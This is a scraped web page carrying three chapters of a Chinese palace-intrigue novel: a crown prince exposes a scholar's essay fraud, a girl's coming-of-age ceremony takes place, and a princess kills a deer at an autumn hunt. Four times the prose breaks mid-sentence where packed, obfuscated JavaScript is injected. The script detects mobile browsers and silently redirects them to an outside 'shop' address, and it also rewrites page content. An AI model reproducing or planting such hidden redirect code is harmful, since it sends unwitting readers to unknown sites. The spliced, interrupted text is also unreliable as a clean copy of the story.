话未说尽,老头已想到深处,终于反应过来,登时出了一身冷汗,领着一众学士呼呼啦跪了一地,不敢再言。 许熙卸去笑面,露出久藏的冷脸,一挥袖摆踏出门去,身后依旧是无人敢起身。 出了门,迎面扑来就是翘首以盼的许曦。 许熙一把搂住她,低头又是和煦的笑,“好好,抓坏人去不去?” 此话一出,旁的自然也不必多问,许曦高兴地几乎要蹦起来,“去!” 许曦跟着哥哥和一众翰林院的学士浩浩荡荡去了白家,到了门口,一行人显而易见的来者不善。 门房想说些客气话阻挡一二,拖延些时间去报给主家人,又被许曦问住,“太子也拦得吗?” 许熙但笑不语,领着一帮人往里进。 白父白母急匆匆地迎上来,说些管教不力、怠慢太子的无用话,接着就明里暗里地打探许熙今日如此大阵仗地来所为何事。 许熙照旧是笑得君子尔雅,道,“如此兴师动众,倒也不是为了旁人,为的是令郎白通学。” “通学.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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许曦站在哥哥身后,瞪着对面白通学的眼睛只差要冒出火来,道,“你既不知道,那就老实听着。只要记住一点,待会儿说的,你一字不差都得认下来。”她又看向许熙,“哥哥。” 许熙接过话来,“这两份手稿,跟着我们的这些翰林院的学士也都看过,看出了些门道。” 自有识眼色的开口,“探花郎怕是有代笔之嫌。” “休要胡说八道!”白通学色厉内荏地喊道,连带白父的脸色也隐约有些变化,跟着帮腔,“几张手稿,如何就能断定我儿有找人代笔的行径?” 掌院学士捋着胡子又站了出来,“本院执掌翰林,说上一句阅尽天下书文也不为过,探花郎的文稿虽有上些水准,可对比另一位的,不论是对典故的理解还是论策的深度都难望其项背,更不用提探花郎独此一家的肖女文风。” 话说到这种地步,再用不上任何辩驳,白通学寻人代笔已是板上钉钉的事实。 “等等!”白父喊出声,“殿下可能让老夫看看这手稿?” 许熙也不忌讳让他看,由着他捡起来。白父将满地的手稿一张张捡起来,全部理好、看过,攥着纸卷的手青筋渐显,似乎是咬着牙吐出来,“殿下,纵是我儿有过让人代笔的行径,可这一地的稿纸没一张能证明我儿的探花功名有假!” “嗯?”许熙看他,眼中是毫不掩饰的疑惑,“你的意思是,满地找不出来一份稿纸没有另一人相应手稿的白通学,没一张能出另一人其右的白通学,能凭自己考下我大穆的探花?” 白父伏在地上,额抵着冰凉的青石砖,几乎是咬着舌尖道,“殿下,可毕竟是找不出我儿于殿试有舞弊之嫌的证据。” “好好好......”许熙抚掌大笑,他少有在人前情态如此夸张过,笑够后又看向白父,“今日没有,或者说,今日尚没有。白公,孤与你要多见上一面了。” 话说完,许熙又领着妹妹和众人风风火火走了,独留一沓稿纸握在白父手中。 16. 白濯缨 人一走,白父扬手把纸卷摔在了白通学脸上,面色震怒,“我且问你!这稿纸,怎么会出现在太子手中!” 掺在其中的新鲜稿纸划破了白通学的额角,但他顾不上管,只嗫嚅着解释,“这些东西......平日里只堆在那。左右探花我已经当上了,马上也要和长乐公主成婚,太子不是也说他没有我殿试作弊的证据吗?这......” “这什么这!”白父指着白通学的鼻子,歇斯底里,“今日没有?你怎知明日没有!你给我把皮紧起来,把这些东西都给我收拾明白了,其他事我自有人去安排。太子若不再上门便罢,若是再上门,白家都得完蛋!” 白父急得只差火烧眉毛,几道吩咐递下去恨不能连打带踹、日行千里,尽可能快地让事事妥帖才好。 可任他再快,快到踩着云朵翻跟斗飞到天边去也自在许熙的指掌之间。 许熙回了东宫,没事人似地和妹妹走在宫道上,悠哉地像谁家招猫逗狗的无事少爷。 “哥哥......”许曦有些犹疑地唤他,“咱就这么走了?不管了?” “管。”许熙翘着唇角,“自然是要管的。” “那......”许曦没明白。 许熙摇摇手指,一副不可说的架势,“我说过,结果会让好好开心的。” 许曦不明白许熙有什么名堂和手段,但是她相信也习惯了哥哥的言而有信,转而愤愤不平道,“那个老头还狡辩!还狡辩!他儿子是小偷!他满口耍赖,是老赖!蛇鼠一窝!这就是翰林院那帮人找来的探花!呸!刚才就该给他俩都扔进湖里去喂鱼!” 许熙伸手给人顺顺背,“莫生气,气坏身体无人替。”又逗她,“你要是把人扔进去,岂不是比我这个太子还显威能?那好好就不是公主了,该叫好好大王了。” 许曦掐着腰,歪着脑袋看她哥,“太子有什么了不起?不就是东宫之主?我是东宫的公主,我也是东宫之主!” “哈哈哈......”许熙捧腹大笑,“对,好好说得对,好好也是东宫之主。” 闲话一搁,三日后的金銮殿上,太监总管尖声尖气喊,“有本启奏,无本退朝!” 许熙捧着玉笏出列,“父皇,儿臣有本要奏!” 三言两语道出来龙去脉,许熙朗声道,“既然探花之父坚持探花功名清白,科举的正当磊落又关系我大穆的来日,那干脆就到大殿上来一并论个清楚明白,有父皇见证,往后也不必再有疑议。” 话落,白通学连并白父白母都被带上殿来。 白父脸上难掩铁色,但也只是沉默。三天时间远不够他把一切都梳开理顺,以至于他难以判断此时的太子手里掌握了什么证据甚至是多少证据。 如今事情搬到皇帝面前,稍有差池便是再难转圜。 白通学面露紧张,甚至不时去瞄自己父亲的眼神显出些胆怯。 白母倒是一如既往地一副眼观鼻鼻观心的样子,不动声色跟在父子俩身后。 许熙的准备不可谓不充分,可以这么说,现在的许熙比白父甚至白通学本人都更要了解白通学的生平履历。 从启蒙的教书夫子开始,顺藤摸瓜,白通学这一路升学是如何堂上平平无奇,堂下一鸣惊人,如何在重大考试轻易得到魁首,如何一路顺风顺水,毫无挫折。白家迎来送往多少达官贵人,其中又有多少人能和层层筛选挂上关系,白家私底下又走了多少不清不楚的银两,条条件件、滴水不漏、全部上报在许熙案上,如今又通过他的口悉数曝露于金殿上。 白父跪在阶前,太子每说上一句,他的脸色就差上一分。及至殿上沉入死寂,他的脸色也酿成惨白。 许熙不再说话,朝臣鸦雀无声,所有人似乎是在等白通学或许会有的苍白辩驳,亦或皇帝的表态。 白家父子一言不发,铁证如山前,无言可发。 皇帝开口了,“探花郎,白通学?” “是,是。”白通学忙不迭地应下,“小臣在。” “你......可要辩白一二?”皇帝问。 “臣.......”白通学的脸快憋成猪肝色,却是想不出半点自救的法子。 皇帝皱眉,又要开口,兀地听见一道声音。 “陛下,小民斗胆。” 说话的是白父,他跪在地上,头低得要沉进地底,僵着背重复道,“小民斗胆!” 皇帝的眉头却是松开了,“说。” 白父额头紧抵着金砖,闭了闭眼,说出的话带着孤注一掷的决绝,“会试无证!殿试无证!手稿无,人证也无。探花经会试由天下卓越举子中脱颖而出,又经殿试摘得功名。既这两处没有差错,探花,就还是名副其实的探花。” 龙椅上审视的冰冷目光在白父身上游移,终于收回又投掷在太子身上,“太子,可听见了?” 许熙躬身称喏,眉眼恭顺得挑不出一丝错处,复又抬头,“儿臣自是有人证的。其亲姐正由东宫护卫护送候于殿外,恭请父皇传召,当廷陈情,以明真相。” 在皇帝的默许下,总管太监唱,“传白氏女进殿!” “传白氏女进殿!” 一道道唱声传下来,白明了跟着身边的侍卫走进金銮殿,在如此紧张、千钧一发的时刻,她竟生出些恍惚的神思。 这就是百官俯首的金殿。 这就是天下举子趋之若鹜的明堂。 这就是白通学掠去她的才华要跻身而立的地方。 满堂珠翠尽公卿,一袭罗裙,一点孤艳。 “你......就是白氏女?”皇帝问。 白明了不惊不惧,叩首在地,“是,民女正是白氏女。” “探花白通学的策论,皆是由你代笔?”皇帝又问。 “是。”白明了答,她略一顿,再开口讲的就是十数年来的被掠夺和侵占。 她没提年幼时做出好文章悉数誊在兄弟纸上的委屈,没提兄弟声名鹊起后自己却家门难出的不甘,没提关于会、殿二试的手稿被逼亲手焚毁的愤恨,只道白父偷梁换柱的蝇营狗苟,白家上下的沆瀣一气,淆乱科举的胆大妄为。 末了,白明了重重叩了一个头,“为全兄弟与家族,民女甘愿隐忍,然此事关乎朝廷取士之公、陛下识人之明,民女不敢因私废公,故冒死陈情。” 字字凄切,杜鹃啼血。为全大义,含泪灭亲。 皇帝没开口,半晌,缓缓道,“白氏女既在,那就和探花当着朕的面比上一场,若白氏女更胜一筹,此事才算铁证如山。” 许熙没言语,以一副轻松得堪称事不关己的姿态看此时殿上的翰林学士当场出题,白通学和白明了被各自带下去。甚至在等待的间隙也如旁的朝臣一样敛着眉眼站着,就好像这事不是他牵头挑出来的。 如此情态的还有一个人——跪在白父旁的白母。 白父已经是面如死灰,白母到照旧是那副不动声色的菩萨面,与满京城每一个高门主母都相似。 白明了和白通学再出现时,各自的策论早已经过翰林院当堂审议。 至于结果,毋庸置疑,高下立见。 这几乎是白家的定罪书。 皇帝沉吟,似乎思量着什么。 “父皇。”许熙道,“依儿臣看,此事真相,水落石出。” 皇帝道,“朕思来想去,虽证得探花郎才学不如其姐,过往文章也出自其姐笔下。但此女身份特殊,即便会、殿二试有白氏女陈情,也难证得白家舞弊。” 许熙眼底闪过隐晦的冷凝,好在他也不是没有准备。他正要拿出白家私下行贿的证据,忽听到一女声,“陛下,民妇能作证。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他一顿,又道,“白家偷梁换柱,盗取功名,依律本应由朝廷下旨特赐‘同进士出身’或是授予官职以补偿苦主,但,一则白氏女是女子,我朝至今未有女子入朝为官的先例,倘若妄开,恐怕少不得动摇我朝官制;二则白家舞弊等同欺君,即便白氏女身份特殊,也不适宜再封赏官职。但儿臣晓得父皇一向爱惜人才,倘若草草打发白氏女择一夫婿成婚就此泯然,实属浪费。依儿臣所见,不如放到私塾学堂讲书,将才学尽数教诲于我大穆学子。如此,倒也不算埋没。至于白家众人,则悉数按情节轻重,斩首亦或流放边疆。” 坐在龙椅上的帝王平静望着自己侃侃而谈的嫡长子,缓缓道,“那就依太子所言。” 至此,尘埃落定。 白通学剥夺功名,白家悉数下狱,白明了和被带走的母亲对视,不过一眼,母女俩各自扭开了头。 白明了吐出一口悠长的气,她似乎少有如此轻松的时候,此身从此分明了。 下朝来,许熙带着白明了一道出了金銮殿,走出去没多远就被一早等着的许曦抓了个正着。 “哥哥!”许曦扑上来想问结果,却被许熙笑着打断,“好好,说到做到,现在好好可以放心地高兴了。” “啊?”许曦问,“这是白姐姐没事了的意思?” 许熙笑着点点头。 “那......”许曦看向白明了,还没等她说话,白明了一扫衣袖,行举子间最常见的学生礼,“白濯缨谢公主殿下。” “白......濯缨?”许曦愣住了。 白濯缨抬头,挑着眼冲她笑,清洒如柳在风中摇,“公主殿下,我叫白濯缨。” 濯缨何必向沧浪,无惭黄卷心。 17. 及笄礼 “太子殿下。” 白袍俊逸的青年人顶着殷勤的笑容迎了上来,是国师。 历代国师皆出自太平书院,但是和大穆皇族之间与其说是君臣,不如说是合作关系。甚至除非国家将倾,轻易不参与国事。 是以国师刚刚在朝堂上也守着岸上君子的本分,一言不发地旁观。 他此时凑上来也没有多正经的原因,无非就是为了偶尔出现在他府上毛手毛脚碰坏东西的萧天来索赔。 “国师。”许熙只觉额头青筋直跳,笑眯眯地掩饰咬牙切齿“这次又要赔什么?” 国师点点头,似乎是很欣慰于太子殿下的直接、大方和慷慨,也笑眯眯地滔滔不绝,从门口的石狮到厨房的碗筷无一遗漏,不知道的还以为国师府叫萧天一个人砸成了平地,只差放把火毁尸灭迹。 许熙真要咬牙了,“国师这怕不是在讹诈吧?” 国师却是又注意到站在一边的许曦,“公主殿下好啊,微臣跟您也是好些日子不见了。” 许曦眨眨眼,“国师好。” 国师低头冲她也摆出一副笑眯眯的样子,“公主殿下,林懿山在我府上也住了好些日子了。” “啊......”许曦甚至还没反应过来自己似乎确实好些日子没见到林三了,又听见他说,“林懿山毕竟还是个孩子,日常吃穿住行难免磕磕碰碰,有些损耗......” 暗示性的话语被许熙打断,他闭了闭眼,“记孤账上。” 国师露出一个明显真诚许多的笑容,“太子事忙,微臣就不打扰了。”转身离开的时候脚步轻快得要飞起来。 “哥哥。”许曦看着他的背影拽哥哥的衣服,“国师一直都是这样吗?” 许熙哼笑出声,有些哭笑不得,“对,一直都是这样。给国师府的赔款也是东宫的一笔固定支出了。” 许曦摇头,啧啧称奇,“国师就差哼支小曲儿了。” “让白姑娘见笑了。”许熙面向白濯缨,脸上带着些客气的歉意。 “不妨事。”许是因为心上刚落下一块大石头,白濯缨看这一切只觉有趣。 两人接着就聊白濯缨暂时的去处问题,许曦站在一旁,想着左右哥哥做事只会叫人放心,听来觉得无聊,索性定了跑去国师府找林三的主意。 她到时没比国师慢上多少,马车一停,国师回头就看到紧跟其后的她。 “公主?”国师下意识往马车上看了看,才问,“来寻林懿山?” 许曦点头,“对,国师不用招待我。” 国师笑,“那对微臣来说真是件好事,左右公主熟门熟路,微臣就不陪同了。” 许曦应了一声,随即一阵风似的就跑进了国师府。 找到林懿山的时候,林懿山万古不变地看着她的话本。 许曦一屁股坐在她边上,一句话都没说,只托着脸看她,半晌,忽然道,“林三。” 林懿山翻着书页,“嗯。” 许曦又喊,“林三。” 林懿山还是应,“哦。” “林三。” “怎么了?” “林三。” “干嘛?” “林三。” “说!” 林懿山忍无可忍,小发雷霆,一巴掌打在许曦手臂上。 反正不疼,许曦动都未动,又跑了一会儿神才道,“林三,我忘了问了,你师叔,国师,叫什么名字?” 林懿山重新拿起话本,不很在意这个问题,“师叔叫林有道。” “有道?”许曦想想国师刚刚敲诈她哥的奸商模样,质疑脱口而出“为什么?” 林懿山听出她这一声的惊异,看了她一眼,语气里带着些玩味,“君子爱财,取之有道。” 许曦一愣,半晌憋出一句,“不愧是你师叔啊。” 两人挨在一张桌上有一搭没一搭地聊,话题慢慢又偏到许知礼身上。 “哎,我好像也好些日子没见表姐了!”许曦一惊。 “也?”林懿山挂起一脸半威胁的笑,“你今日来,不会是因为也才想起来好些日子没见我了吧?” “哈哈......”许曦尬笑两声,企图蒙混过关。 林懿山也不真的计较,作戏似地瞪她一眼,道,“她在忙自己的及笄礼呢。” “及笄?”许曦心里生出些恍惚,“表姐要及笄了啊......”她又问,“林三和表姐年纪相仿,不也得办及笄礼?” “对啊。”林懿山理所当然的点头,“应该也快了。” “如何办?”许曦问。 “就办在师叔府上。”林懿山说,“比在东宫里合适。到时候我师兄也要来。” “师叔和师兄......”许曦想了想,“林三,梳头加笄须得是母亲来做,再不济也该是长姐,那你怎么办呢?” 林懿山没有直接回答这个问题,她露出一个狡黠的笑,“你猜猜我师叔这会儿多半在干什么?” 许曦一时没反应过来林懿山的用意。 国师在干什么? 依着国师的做派,比起应付公文,数钱更有可能。总不会是在修习。 等等...... 许曦的眼睛随着那个从心底浮起来的念头越瞪越大。 “不会吧......”许曦直愣愣地看着林懿山,“国师......” “在学梳头。”林懿山直接替她把那个猜测说了出来,脸上还带着笑,“我本来就是被先生捡回书院的,在京城更不会有什么父母亲人。本来还想着这种事找一个年长的嬷嬷来办想来也差不多。但是三个师兄和师叔没一个同意的,说是什么太平书院弟子的及笄礼不能寒酸。血缘不可勉强那就让师叔来做,就是让师叔在那天穿裙子也不会按照我的想法草率办过了事。” “等等。”许曦连话都没理清,下意识就问,“国师穿裙子?” 林懿山哈哈大笑,但是看她眼睛,这件事可以是真的。 许曦自觉还是不太能适应太平书院一脉偶尔的离经叛道,她沉思片刻,忽地一拍桌子,“我有个好人选!” “什么人选?”林懿山懒散地拿眼神横她。 许曦几乎是手舞足蹈、张牙舞爪、指天画地地将这几日忙的“大事”和盘托出。 林懿山听明白了,“所以你说的好人选是......?” “白姐姐啊!”许曦一合掌,“你就说,你满不满意?” 林懿山眉眼也带笑,“虽说是素昧平生,但这样的女子为我执笈礼,我自是欢喜的。” “那就这样说定了,我去找国师说!”许曦提了裙子就要跑,又被林懿山喊住,“你只想着告知我师叔,你那白姐姐就能临时喊来了?” “对,忘了!”许曦脚步一停,回身道,“那你去跟你师叔说,我去找白姐姐。”说完也不等人应,径自就跑走了。 这头林懿山无奈叹气,收了话本悠悠往师叔住处走;那头没要多少功夫白濯缨就收到了要作为正宾出席人家及笄礼的消息。 虽说还没承担过这样的角色,但好在自己经历过,也看过旁的女儿家及笄,白濯缨也细心妥帖地准备起来。 林懿山及笄礼当日,国师府上虽说是没摆上多大排场,但是该请到的人也一个不落。 不消说国师和萧天、路远、林策三人,许曦、许知礼连带许熙和谢稳也一个没少,再加上一个专门让国师亲自下了帖子来请的白濯缨。 人不算多,面熟的人混在一起也没那么多规矩,以至于场面看起来甚至有些引人发笑。 国师林有道假模假式捋着没有指甲长的胡子,一副“吾家有女初长成”的沧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317555|198991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桑感慨;林策跟在萧天和路远后面送完礼物就红了眼眶,拽着路远说舍不得林懿山以后或许出嫁,后面灌了些酒更是满口喊“整个京城没一个好东西”;许知礼和许熙从未如此相见恨晚过,两个人从及笄礼要请什么宾客,提起几日下帖聊到席间该摆什么菜色,碗筷又要如何搭配...... 不过等到白濯缨给林懿山行笄礼的时候,所有人都安静下来,所有的目光也都投注到白濯缨和林懿山身上。 白濯缨按照规矩持发笄上前,高声吟颂祝辞后,跪在林懿山身前为她梳头加笄。笄后是发钗,发钗后是凤冠。林懿山连着两次起身更衣又坐好受礼,控制不住地皱起脸来。 白濯缨把这一切都看在眼里,她仔细地将凤冠插在林懿山发间,脸上盈起温柔的笑意,“愿尔顺性而成,迎风自长。” 林懿山抬眸望向眼前这个给自己施礼的女子,她从许曦那里听来过她的全部事迹。 勇敢、坚韧、智慧、玉汝于成。 她未尝不曾设想过所谓笈礼后迈入成年的自己,盯着白濯缨闪光的眼和轻盈的笑,她想,合该就是这样了。 礼成,仪式一结束林懿山马不停蹄地换回平日的装束,浑然不顾国师在身后喊“哎!至少让人画幅画纪念一下啊!” 一伙人吃吃喝喝、说说笑笑、齐聚一堂。许知礼却是像个监工似的四处晃,偶尔还能看见她一脸凝重、深以为然的点头。 见过林懿山的及笄礼,许知礼对自己的及笄礼多了不少新想法,出了门就直奔回长公主府,窝在自己的院子里万事不管,只一味地发挥自己五花八门的新主意。 虽然只是郡主之位,但毕竟是大穆唯一一位长公主的女儿,及笄礼自然也办得风光,甚至长公主还答应了不少奇奇怪怪的环节和游戏,力求及笄礼当天一定让许知礼顺心顺意。 尽管如此,许知礼还是不满意。 “表姐有什么不满意?”许曦趴在桌上问。 及笄礼早已是七八日前的事,但是许知礼至今还是一副气闷的样子,她抱着手臂,“我不喜欢我娘给我请的封号。” “封号?”许曦想想,“蕙宁郡主,挺好听的。” “不好。”许知礼撇嘴。 “如何不好?”许曦追问。 “蕙,那就是蕙质兰心,宁,就是静。”许知礼逼到许曦眼前和她对视,“你好好想想,这两个字,是放在我身上合适,还是放在我长姐身上更合适?” 想起那位名满京城,堪称贵女典范的大表姐,许曦摸摸鼻子,“那还是放在大姐姐身上更合适。” “就是如此啊。”许知礼泄气般坐下来,苦着一张脸,“我娘巴不得我能变成第二个我长姐,至少装也要在人前装成那样,我可不乐意。” 许曦想象了一下许知礼言行举行像大姐姐的样子,不等说话,下意识一抖肩,“好怪。” 许知礼跟着叹气,一脸郁郁。 “你俩说什么呢?”林懿山突然出现。 “林三?”许曦看她,“你怎么来了?” “我是伴读,自然是来问课业。”林懿山说着话就坐在了她俩边上,手上是一本看了一半的话本。 “这话本你看好些日子了吧?怎么还没看完?”许曦问。 “这本讲的故事有些新鲜,没舍得看太快。”林懿山说。 “什么话本?还能让你舍不得看?”许知礼来了兴致,拿走话本翻看。 其实不过是个游侠仗剑走天下的故事,只是剥去了俗套的香车美人,说是话本,不若说是游记。 话本折页的地方正好讲到游侠一人一剑教训乡间恶霸、惩奸除恶后又牵一匹黄马远走。 许知礼草草扫过几眼,又将话本还了回去,若有所思似的,问了一句,“林懿山,你说,这世上真有这话本中游侠一般的人物吗?” 18. 好好射杀马鹿 林懿山还真的思考了一下这个问题,“兴许有吧。”她甚至转头去看许曦,“你觉得的呢?”许曦也想了想“有吧,我到现在还没见过一模一样的两个人呢。想来是因为天底下什么样的人都会有?那有个到处行侠仗义还不求回报的大侠也不奇怪?” 许知礼听完自己也想了想,只是没说什么,对她俩的回答也不置可否。 “对了,今年的秋狝也近了。”许曦突然出声,引得许知礼和林懿山都看她。“去年碰巧染上伤寒,今年表姐定要参加的吧?”许曦问,“前年表姐和我一般大就猎来只红狐和不少小兔,还险猎中只鹿,今年若去了,定比从前威风不少。” 许知礼一下子被转移了注意力,“那当然!”她面上像放了光似的,眉飞色舞地讲着如若不是意外染病,自己去年就该如何如何。她越说越兴奋,似箭在弦上恨不能立刻发射出去。 “不说了,不说了。”许知礼摆摆手,“我得马上回府准备起来,到时候吓你们一大跳,等着给我庆功吧!”说完就风风火火地跑走了。 看着许知礼的背影消失不见,许曦又看向林懿山,“林三,你......”“不去。”林懿山直接打断她,“我对骑射一事向来不感兴趣,去了也就是换个地方看我的话本,做什么非要去不可?” “去嘛去嘛~”许曦抱着林懿山的手臂摇。 “不去。”林懿山不为所动。 “去嘛去嘛~” “不去。” “求你了,去吧去吧~” “不。” ...... 一直磨到秋狝启程的前一天,林懿山答应了。很显然,这对她的耳朵和手臂有利无害。 这次秋狝定下的围场不算太远,是以也谈不上舟车劳顿。在围观完猎物被赶进一早定好的包围圈,皇帝放话让年轻子弟尽皆下场后,人人帐前都是摩拳擦掌的身影,血气方刚、渴望功勋,互相放狠话、打赌注的更是大有人在。 今年许曦也换上了一身茉莉黄色的骑装,从前参加秋狝时总会被许熙有意无意限制着不让她往远处去,今年许熙可是放了明话出来可以让她跟着一道到林子深处去猎兽,她自然颇为重视。 只是这会儿许熙被皇帝留下谈话,许曦索性拉着林懿山和许知礼凑在一起说小话。 “好好,你等着!”许知礼举起自己的弓箭,“我今日必定给你猎条白狐狸回来做披肩。”许曦也不扫兴,只是弯着眼睛说好。 谢稳正是这时候出现的,他来是为了传话,说是许熙再有一会儿就能到。 果不其然,这话落下没有半盏茶功夫,许熙就匆匆赶了过来,如约带着一伙人往林子里去。 当然,林懿山没去,林懿山留下来“看家”。 打量着入了深处,许知礼冲许熙道,“太子表哥,我就不跟你们一道了,我得找个地方给好好猎狐狸去!”不等人应,她掉转马头,挥鞭策马奔到远处去了,绛红色的衣影掩映在枝丛间。 “知礼真是…”许熙笑,“自说自话就走了。”又转头和许曦说话,“既然知礼去寻狐狸,那咱们就猎头鹿去。” 许是今日运气不好,一行三人带着侍卫在林子里兜了半天圈子,鹿没见到,野兔和貉子却是猎了不少,只看数量的话倒也还是个看得过去的成绩。 许曦本就没想过一定要猎到鹿,这会儿过了第一次进深林的新鲜劲,鹿又苦寻不到,瞬时就打起了拿手的退堂鼓,“哥哥,我们还接着找吗?”许熙笑笑,把水壶递过来,“再找一下就回去。”“好哦。”许曦灌了几口水,枯苗重焕生机似地又恢复了精神。 马蹄溜溜达达地踩在地上没什么声响,几人走出不远竟是见到了一泊湖。许曦瞧来只觉好看,但此刻也没什么玩闹的心思。许熙看着妹妹的蔫样儿好笑地摇摇头,刚要提醒这里兴许能遇到头鹿就被一道气声打断。 “有东西!” 示警的人是谢稳。 兄妹俩往湖边看去,挨着湖岸不远的灌木丛窸窸窣窣摇动着,尚不见兽头,但两只鹿角已是清晰可见了。 三人扯着缰绳重新藏在错落的林木间,跟着的侍卫不用吩咐也各自藏好。 角兽走到湖边饮水才露出全貌,这是一只高大且正值壮年的马鹿,鹿角如冠冕般开阔。它眼睫低垂盯着湖面,一副专心喝水的作态,但时不时耸动的鹿耳骗不了人,分明是还在警戒状态。 许曦握着缰绳的手紧了紧,另一只手下意识搭上背上的弓箭。她从前只跟野兔、雉鸡之流小打小闹过,此时不免有些紧张。 眼前突然有一只手划过,落在许曦臂上轻轻拍了拍,是许熙。见妹妹望过来,许熙勾唇给出一个安抚的笑,接着沉气、拉弓,动作轻缓有力,箭尖对准了马鹿此时低头喝水而暴露出来的脖子。 许是日光折在冷箭上晃了马鹿的眼,许是能长到这般大的野物生性非一般的机敏,总之,许熙的这一箭非但没像先前料想的那样正中脖颈,反而因鹿的一个惊起回转插在了后臀上,刺激得马鹿撒蹄狂奔。 许曦回头看许熙,许熙接收到她的眼神,四目相对,有点尴尬。许熙搓搓食指,打算说些话来挽尊,突然就看着妹妹一挥马鞭像只离弦的箭似奔了出去,他连忙一夹马肚子追上,身后稀稀拉拉跟着没反应过来的一大帮人。 “好好!”许熙有些心急,一来是妹妹冲得没头没尾,二来是林中如此急驰少不了危险,三来就是如此灌风说话可不是件美事,“突然跑出来做什么?追鹿?”他猜测。 “追鹿!”许曦转头冲哥哥飒爽一笑,“哥哥,我就要这只鹿了!” 得到答案的许熙不纠结,也不拦下人叫侍卫们去追,他扭头喊跟他一并追上来的谢稳,“阿稳!” 早有默契的两人在飞奔的马上同时架起了弓,倒也不是瞄鹿。毕竟那只受伤的马鹿此刻只顾闷头逃命,无头苍蝇似的,想要在如此情境一箭命中甚至直中要害着实是件难事。 放出的箭划出两道迅疾的破空声,先后钉在马鹿前方的树干和巨石上,逼得马鹿下意识扭转方向。 许曦一早就冲到了马鹿不远处,顺利堵个正着。不知道是许曦年纪小,骑的马也相对矮小而没被马鹿放在眼里,还是这只负伤被追的马鹿已经被逼急了眼,竟是顶着硕大的角分毫不让地直冲许曦而去。 “好好!”许熙喊。谢稳凝着眉眼架起了弓。 许曦同样架着弓箭,微微勾起的唇角透着自信,她的目光顺着箭尖扎在马鹿前腿腋下,浑然无视迅速逼近的慑人鹿角。弓弦越绷越紧,甚至能在许曦耳边磨出艰涩的“吱呀”声。呼吸沉下的瞬间,弓弦骤然放松,射出的箭闪着寒芒扎进意料之内的地方。 马鹿巨大的身形一顿,鹿眼微微瞪出,下一瞬就四肢一软,訇然倒地,尘土飞扬。 见到这一幕,许熙只觉得快跳出嗓子眼的心脏又落回了应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317556|198991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该在的地方,谢稳也肉眼可见地松了口气。两人将重新架起的弓箭收好。 许曦拽着马慢悠悠地凑到她哥边上,一副胜不骄的派头,可是眼睛亮得惊人,张嘴就问,“哥哥,我厉害吗?” 许熙难得不知道该说些什么,甚至又想起妹妹学练字那年,踌躇半晌,还是给出了一个鼓励的笑容,“厉害,好好一人就射杀了这么大的马鹿,怎么不厉害呢?”就是这么跌宕起伏对他的身体康健似乎不太友好。 许曦自得得哼一声,又去瞧谢稳,“你说呢?”谢稳笑眯眯的,“小殿下神勇,可为军中校尉。” 地上的马鹿尸体被收拾起来,自有专人负责运回营地。许熙看看天色,日头西斜,道,“今日就先这样吧,也该回去了。” 兄妹俩打马掉头,谢稳没动。 “阿稳?”许熙问。谢稳只是端着一贯的笑容,轻描淡写道,“殿下和公主先回吧,臣迟些再回。”许熙也不多问,左右以谢稳的身手轻易出不了什么事,点点头招呼着妹妹回营。 毕竟在外跑了一天,跑出了不少路,这时又天色昏暗视物艰难,兄妹俩到营地时也是废了些功夫,正巧赶上评比。 各人的猎物种类、数目悉数上报,其中主要臣子将领、皇亲国戚的成绩又被专人报给皇帝。自然不会少了太子的。 “太子,一日下来竟只得只鹿和些玩意儿吗?”皇帝问,思忖着自己又补道,“不过如此大的马鹿倒也不多见,也......”“儿臣不敢冒领功劳。”许熙恭敬道,“这只马鹿是皇妹所得,儿臣不过是打打下手,想是宫人匆忙记错了。” “是曦儿啊......”皇帝的目光在许曦身上停留一瞬,很快又划走,“你二人素日感情深厚,但......”“儿臣归程路上见到雁阵,本想打下头雁,拾了来才知竟是侥幸一箭打下双雁,特献给父皇。”许熙抢道,“父皇天威浩荡,泽被万物!儿臣幸不辱命,一箭落双鸿。此乃天降祥瑞,昭示我朝‘福禄双至,国运恒昌’!儿臣恳以此微末之获,恭祝父皇万岁,江山永固!” 皇帝本要说的话噎在喉间,索性顺坡下驴道,“好一个‘福禄双至,国运恒昌’,太子有心了。”他声音又大了一些,“今日太子一箭落双鸿,献此吉兆,非独朕之幸事,亦是尔等臣工、四方藩部之共福!此皆因上天眷顾,祖宗庇佑,我朝方得如此储君!当同贺!”随即召来内侍赏下白玉弓、御酒绸缎,“太子今日之功,朕心甚慰。当永葆此志,文武兼修,为朕分忧。” 